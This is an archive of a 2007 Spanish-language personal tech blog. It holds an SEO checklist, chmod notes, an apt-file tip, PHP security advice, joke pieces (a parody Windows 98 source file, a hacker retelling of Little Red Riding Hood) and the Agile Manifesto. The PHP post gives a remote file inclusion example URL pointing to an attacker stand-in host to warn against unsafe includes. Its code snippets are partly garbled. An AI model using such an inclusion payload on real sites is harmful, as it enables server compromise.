18 abr. 2007

10 requisitos antes de que Google indexe tu site


En our-picks nos explican que del mismo modo que limpiamos la casa antes de recibir visitas, debemos arreglar nuestro sitio web antes de mostrarlo a todo el mundo, para ello está esta pequeña lista de cosas a revisar antes de enviar nuestra web a que la indexe Google, tambien si quieres puedes verlo cómo el Top 10 de errores de Webmaster.

1. Si tenemos una presentación previa a la carga del contenido de nuestra página, debemos asegurarnos que está contiene algún enlace de texto
Seguro que alguna vez has visto una web con un diseño excepcional pero por la cual es dificil navegar, a menudo estos diseños están hechos en flash lo que tiene inconvenientes muy importantes cómo que Google no accederá a la página por eso sería una gran idea añadir algún enlace de texto para que Google pueda acceder.

2. Asegúrate de que no hay enlace rotos
Es un punto más que obvio pero te sorprenderías de ver la de enlaces rotos que despues puede llegar a encontrar Google en tu sitio, pruebas de ello las podrás encontrar en el servicio para webmasters www.google.com/webmasters.

3. Chequea las etiquetas TITLE
Ten en cuenta de que muchas veces es lo único que conoce el visitante y el porpio Google acerca del contenido que alberga por ello debes conseguir definir el contenido en pocas palabras, no utilices interminables listas de palabras.

4. Chequea las etiquetas META
Los rumores y teorías de que Google no se preocupa de las etiquetas META no son del todo correctos, estas etiquetas describen un sitio web por ello asegúrate de que todas tienen algunas palabras claves y una descripción, nunca se sabe...

5. Chequea las etiquetas ALT
Este es probablemente el error más cometido a la hora de crear un página web, muchos desarrolladores se despreocupan de ella y no saben el potencial que realmente alberga, sólo hay que echar un vistazo al menu lateral dónde tenemos los post más populares el primero de ellos lo es gracias a la indexación de google de una imagen de Tom Cruise | Tom Cruise en las imágenes de Google

6. Cuidado con los frames
Si tu sitio tiene frames probablemente este no sea indexado al 100% de hecho Google recomienda la lectura del articulo Search Engines and Frames.

7. Páginas dinámicas
El auge de los lenguajes cómo (PHP, ASP, Ruby On Rails, etc...) no hace otra cosa que añadir más y más páginas generadas dinámicamente al índice de Google, esta gran cantidad hace que Google haya limitado el número de páginas dinámicas indexadas de un sitio diariamente por ello no estaría de más algo de contenido estático en tu sitio.

8. Actualiza el contenido regularmente
Este es un aspecto muy importante, porque Google indexa un número de páginas mayor en aquellos sitios que se actualizan de manera regular.

9. The robots.txt
Este archivo te da la oportunidad de filtrar aquellas direcciones por las que no quieres que pase el robot de Google por eso sería conveniente restringir el acceso a aquellas páginas que no deseas que sean indexas (Login del administrador, scripts especiales, etc...)

10. Cache o no cache
Google cachea algunas páginas pero a muchos desarrolladores no les hace demasiada gracia para evitarlo unicamente debes incluir una línea en la cabecera de la página.

META NAME=”ROBOTS” CONTENT=”NOARCHIVE” - debería ser suficiente para detener el cacheo de tu sitio

Si has entendido todo esto ya puedes enviar tu web a Google para que te la indexe.

La Permisología

· chmod 600 directorio asigna permisos de lectura y escritura al propietario
· chmod 444 directorio asigna permisos de lectura o todos
· chmod 777 directorio todos los permisos a todos


r w xr w xr w x
Permisos Actuales 4+2+1 4+0+1 0+0+0

7 5 0

r w x r w x r w x
Cambiar a: 4+2+1 4+0+1 4+0+1

7 5 5


Por último aquí esta una tabla que permite saber rápidamente que valor asignar como permiso a cualquiera de los tres modos.

Val.Permisos
0---
1--x
2-w-
3-wx
4r--
5r-x
6rw-
7rwx

17 abr. 2007

Diiiico Ta!!!!!



Acabas de ver la luz, recién llegado a este mundo y te dan el mejor plato de comida posible.. Así es como reacciona un hamster ante su primer brocoli, no es una cuchitura????

Sexo Debil??


Una mujer israelí intenta detener la destrucción de un asentamiento en el 2006. Word Press Photo Award .

apt-file

A todos nos ha pasado, estamos queriendo compilar algo y recibimos el mensaje:

zeus@olimpo:~/code/eget/all/pam$ make
gcc pamexample.c -o pamexample -lpam -lpam_misc
pamexample.c:12:31: error: security/pam_appl.h: no existe
not found

Es decir me hace falta el archivo pam_appl.h, podemos ir a http://packages.debian.org/ y buscar en el contenido de los paquetes, pero una solución más cómoda es instalar apt-file y buscar el archivo que me hace falta:

$sudo apt-get install apt-file
$sudo apt-file update && echo "<-- aqui se va a tardar porque tiene algo que descargar"

y luego:

zeus@olimpo:~$ apt-file search pam_appl.h
libpam-doc: usr/share/doc/libpam-doc/html/pam_appl.html
libpam0g-dev: usr/include/security/pam_appl.h
lsb-build-base2: usr/include/lsb2/security/pam_appl.h
lsb-build-base3: usr/include/lsb3/security/pam_appl.h

apt-file me dice que hay varios paquetes que tienen ese archivo, algo normal en Debian, pero como estoy compilando seguramente el paquete que me falta es libpam0g-dev.

Con apt-file puedo buscar exactamente el archivo que me falta dentro de los paquetes.

Para saber si un paquete contiene el archivo que buscamos usamos la opción show, por ejemplo para saber si suhosin.so está en el paquete php5-dev:

$apt-file show php5-dev | grep suhosin.so

Apt-file is Really cool!

Buenas Notas en PHP

1) No uses shortags como:

4: $var = null; ?>
5:
6:= $name ?>
7:

8:
Mejor usa:
9:
10: $var = null; ?>
11:
12: echo $name; ?>
13:

De hecho lo menor es deshabilitar los shortags en php.ini

2) Muchos servicios de hostings aún tienen el Zend_Hash_Del_Key_Or_Index Vulnerability. Combátelo con:

18:

19:
// Zend_Hash_Del_Key_Or_Index Vulnerability - We don't use $_REQUEST, so kill it.
20:
if (@ini_get('register_globals')) {
21:
foreach ( $_REQUEST as $var => $null ) {
22: unset($$var);
23: unset($$var);
24: }
25:
}
26:
?>

Lo mejor es tener una página dispatcher (despachador) que llame a los archivos y asi focalize la seguridad.

3) Si ese es el caso nunca pongas el nombre del archivo que vas a llamar (include) en el url porque te pueden meter un gol con algo como:

http://server.org/index.php?includeHeader=http://www.evil.com/ya_te_abroche.php

Mejor haz un switch:

36:
37:
switch ( $_GET['tmpl'] ) {
38: case 1:
39: include("tmpl/secciones.tmpl.php");
40: break;
41: case 2:
42:
include("tmpl/discusiones.tmpl.php");
43:
break;
44: default:
45: include("tmpl/menu.tmpl.php");
46: break;
47: }
48:
?>
49:

Por cierto los switch son mejores que los elseif, sobre todo en un loop, porque los primeros se interrumpen al cumplirse la condición mientras los elseif continua ejecutándose y eso hace más lento a la página.

4) Si estas en PHP5 asegúrate de que sólo estás dandole la propiedad public a lo estrictamente necesario, mantén private y protected los atributos y métodos que no se salen de la clase. Muchos programadores ponen public a todo por comodidad de la misma manera que los administradores le ponen 777 al chmod por comodidad.

Email de Un Geek Que Deja a su Novia

Es en estos momentos en los que mi vida experimenta terribles fluctuaciones de red, cuando me veo en la obligación de decirte adiós y desinstalarte de mi sistema. Me cuesta mucho, créeme, pues para borrarte de mi disco duro necesitaré mucho más que un par de formateos a bajo nivel.

Desde el primer día que te vi, ya tu versión share dejó huella en mi de lo que adivine como una arquitectura interna realmente interesante y tierna. ¿Por qué lo voy a negar? La belleza de tu interface me dijo desde el primer momento que no encontraría una aplicación como tú, con un diseño externo tan bello y con ese par de... iconos que luces y sobre los que tanto me gusta hacer "click". Y lo mejor de todo es que el acceso a datos era relativamente rápido.

Pero de un tiempo a esta parte te habrás dado cuenta que nuestra interactividad no es lo que era, en todos los aspectos. Hay que admitirlo, utilizamos diferentes protocolos. Y, en fin, hay parejas que arreglan muchas de esas diferencias mediante la compartición de hardware, pero tú por las noches te convertiste en un sistema cerrado que no aceptaba mi login y no pude soportarlo más.

¡Soy un hombre! Nuestra vida en común tenía como punto básico el que me aseguraste ser multitarea: yo traería el dinero y tú cuidarías nuestras homepages, harías la comida y llevarías a cabo la gestión de los recursos del sistema. Esa condición, bonita, era de solo-lectura. Como he podido comprobar, no eres mejor que cualquier beta en ese sentido y no cumples lo que prometes.

¡Yo no soy ninguna demo y pido lo mismo a cambio! Y yo nunca me he quedado colgado a la hora de ir a pagar al host el dinero del alquiler. Si no estabas de acuerdo con los terminos de la licencia, no deberías haber hecho click en 'Acepto'.

Me siento pirateado y crackeado y quiero formatear e instalar desde cero. No niego que hayamos tenido buenas sesiones (con o sin red) pero lo nuestro ha dado un Run time error. Tal vez algún día, si me presentas una versión muy mejorada, podamos volver a intentarlo. Pero hasta entonces, trabajare otros formatos hasta dar con aquel que llene mi caché. Sé que con tu interface no te costará mucho encontrar a un usuario que compre tus derechos. Espero que no te resulte difícil la actualización, y que comprendas la razón de nuestra incompatibilidad.

Liberan Codigo Fuente de Win98

#include "Win30.h"
#include "Win31.h"
#include "Win95.h"
#include "AlgoMas.h"
#include "CodigoAntiguo.h"
#include "NormasDeBillGates.h"
#include "CosasDeRelleno.h"
#include "Monopoly.h"

#define INSTALAR TODO_SIN_EXCEPCION_Y_A_LO_BESTIA
#define CASCAR -5483021548692487811456214478252114545621

static char Escritorio[16000000]; /* 16 Mb */
static char Accesorios[8000000]; /* 8 Mb */
static char Explorer4[4000000]; /* 4 Mb */
static char ProgramasDeUsuario[2000000]; /* 2 Mb */
static char MemoriaLibre[2000000]; /* 2 Mb */

int main()
{
while (NoCasque())
{
MostrarMensajeCopyright();
MostrarMensajeNormasBillGates();
DesactivarBotonReset();
BucleParaNoHacerNada();

if (PRIMERA_INSTALACION)
{
while (TamanyoDiscoSwap() < (ESPACIO_PARA_WINDOWS_ENTERITO * 5))
{
Ocupar50MbParaDiscoDeSwap();
BucleParaNoHacerNada();
}

EliminarSistemaDeArchivosHPFS();
EliminarCualquierRastroDeOS2();
DeshabilitarInstalacionDeNetscape();
DeshabilitarInstalacionDeRealPlayer();

if (QuedaAlgunRastroSospechoso())
ColgarSistema();
}

MostrarAlgunaCosaBonitaPeroInutil();
MostrarMensajeCopyrightOtraVez();
BucleParaNoHacerNada();
HacerVerQueHaceAlgo();

if (SigueSinCascar())
{
MostrarMensajeCopyrightOtraVez();
BucleParaNoHacerNada();
EjecutarWin31();

if (AunSigueSinCascar())
EjecutarWin30();

BucleParaNoHacerNada_1();
BucleParaNoHacerNada_2();
BucleParaNoHacerNada_3();
BucleParaNoHacerNada_Etcetera();
}

if (UsuarioNoAceptaWindowsComoAlgoUtil())
goto VETE_A_SABER_DONDE;

if (SeHaDetectadoCache())
DeshabilitarCache();

if (CPU_Rapida())
{
EstablecerEstadosDeEspera(MUCHISIMOS);

EstablecerRaton(VELOCIDAD, MUY_LENTO);
EstablecerRaton(ACCION, DESPLAZARSE_A_SALTOS);
EstablecerRaton(REACCION, A_VECES);

EstablecerTeclado(VELOCIDAD_PARPADEO, MUY_LENTO);
EstablecerTeclado(VELOCIDAD_REPETICION, MUY_LENTO);
}

/* printf("Bienvenido a Windows 3.0"); */
/* printf("Bienvenido a Windows 3.1"); */
/* printf("Bienvenido a Windows 95"); */
printf("Bienvenido a Windows 98");

if (CPU != INTEL)
{
DeshabilitarRaton();
DesconfigurarTeclado();
ColgarSistema(INDICADOR_MSDOS);
}
else
{
MemoriaDeSistema = open("a:\swp0001.swp", O_CREATE);

while (NoHayaSuficienteEspacioEnDisco())
printf("Inserte un nuevo disco en la unidad A:");
}

while (NOS_SALGA_DE_LOS_HUEVOS)
{
sleep(5000);
ObtenerEntradaUsuario();
sleep(5000);
ReaccionarAPeticionUsuario();
}

if (ObtenerNumeroAlAzar() != BINGOOOO)
GenerarErrorDeProteccionGeneral();

/* Fin de bucle principal */
}


/* Finalizar sesión */

if (AunNoHaCascadoDelTodo())
{
if (ObtenerOtroNumeroAlAzar() != BINGOOOO)
{
MandarExplorerALaMierda();

if (HayAlgoAbierto())
{
Accion = MostrarMensaje("¿Desea guardar los datos?");
if (Accion == SI)
GuardarDatos_JAJAJA();

MandarloTodoAlCarajo();
}
}

printf("Windows se está cerrando");

while (HAYA_PRISA)
sleep(5000);

if (UsuarioYaLlegaTardeDondeTeniaQueIr())
printf("Ahora puede apagar el equipo.");
}

return ((int)((long)((float)((double)((re double)CASCAR)))));
}

K-perucita en el ciberespacio

Había una vez una usuaria de Internet, llamada K-perucita que estaba con sus amigos chateando en el IRC, canal #bosque.

De pronto le llego un e-mail de su mamá, que le decía:

- Hija, por attachment te mando unos archivos para el documento HTML de tu abuelita. Por favor, haz un FTP a su cuenta y se los pasas para que ella pueda montar su página WWW.
Y así, la usuaria, cuyo login name era K-perucita, se dispuso a abrir una ventana, y a FTPearle a su abuelita los archivos que le habían mandado.

Estaba haciendo un download del attachment desde su cuenta WebMail, cuando de pronto le llegó un ICQ message de un usuario, con dirección e-lobo@hacker.bosque.com. K-perucita contestó el ICQ message, E-lobo la saludó y le preguntó dónde iba. K-perucita le contestó:

- Voy a la cuenta de mi abuelita, a FTPearle un software para que monte su página web.
Así que E-lobo hizo un telnet por un atajo, y llegó a la cuenta de la abuelita primero.

Cuando la cuenta de la abuelita le pidió login ID, ingresó "k-perucita", crackeó el password y entró. La abuelita, al ver que no era k-perucita, sino otra persona, trató de hacerle un kill al proceso. Pero E-lobo fue más veloz, le hizo un ICMP flood a los ports que el firewall de la abuelita no estaba controlando, y cuando cayó le cambió el password.

Luego se tomó privilegios de ROOT en la máquina, y cambió el sistema operativo por uno distinto, que se parecía en todo, hasta en la interfaz, al de la abuelita.

Entonces se metió en la cuenta de la abuelita, y se hizo pasar por ella. Al rato llegó K-perucita, y cuando entró, notó un poco cambiada la cuenta de su abuelita. Hizo un talk y le preguntó:

- Abuelita, ¿por qué tienes esa quota de disco tan grande?
- Es para almacenar mis archivos mejor.
K-perurcita preguntó:
- Abuelita, ¿por qué tienes esa interfaz gráfica tan novedosa?
- Es para administrar mis archivos mejor.
K-perucita sintió que algo raro sucedía ahí:
- Abuelita, ¿por qué tienes privilegios de ROOT?
- ¡Para CRACKEARTE MEJOR!
K-perucita se dió cuenta de que esa no era su abuelita, y al hacerle un whois descubrió que estaba conectada desde e-lobo@hacker.bosque.com.

Inmediatamente mandó un mail a security@cyberspace.cop.org para delatar al impostor. Éste trató de bloquear su POP3 server haciéndole un overload de memoria, pero K-perucita ya había hecho click en el botón Send.

Al rato se conectó a la máquina uno de los investigadores de cyberspace.cop, que rápidamente obtuvo la dirección IP de E-lobo, le hizo un override a la máquina, se tomó privilegios de ROOT y antes de que E-lobo se diera cuenta, le hizo un kill al proceso y colocó un ban a todo el dominio. Del Trash del sistema operativo de E-lobo, se pudo recuperar la tabla de partición del sistema de la abuelita, por lo que se pudo recuperar toda su información.

La abuelita pudo recuperar su trabajo y subió su página web a un promedio de 10 Kb/seg de transferencia. El site fue admirado por todos en el ciberespacio recibiendo numerosos hits en poco tiempo.

FIN.

Manifiesto por el Desarrollo Ágil de Software

Investigando en la web sobre metodologías me consegui con esto, Desarrollo Agíl y lo cual nos lleva al Manifesto for Agile Software Development el cual en español dice algo asi:

Estamos descubriendo mejores maneras de desarrollar software tanto por nuestra propia experiencia como ayudando a terceros. A través de esta experiencia hemos aprendido a valorar:

Individuos e interacciones sobre procesos y herramientas

Software que funciona sobre documentación exhaustiva

Colaboración con el cliente sobre negociación de contratos

Responder ante el cambio sobre seguimiento de un plan

Esto es, aunque los elementos a la derecha tienen valor, nosotros valoramos por encima de ellos los que están a la izquierda.

Kent Beck
Mike Beedle
Arie van Bennekum
Alistair Cockburn
Ward Cunningham
Martin Fowler
James Grenning
Jim Highsmith
Andrew Hunt
Ron Jeffries
Jon Kern
Brian Marick
Robert C. Martin
Steve Mellor
Ken Schwaber
Jeff Sutherland
Dave Thomas

 
Too Cool for Internet Explorer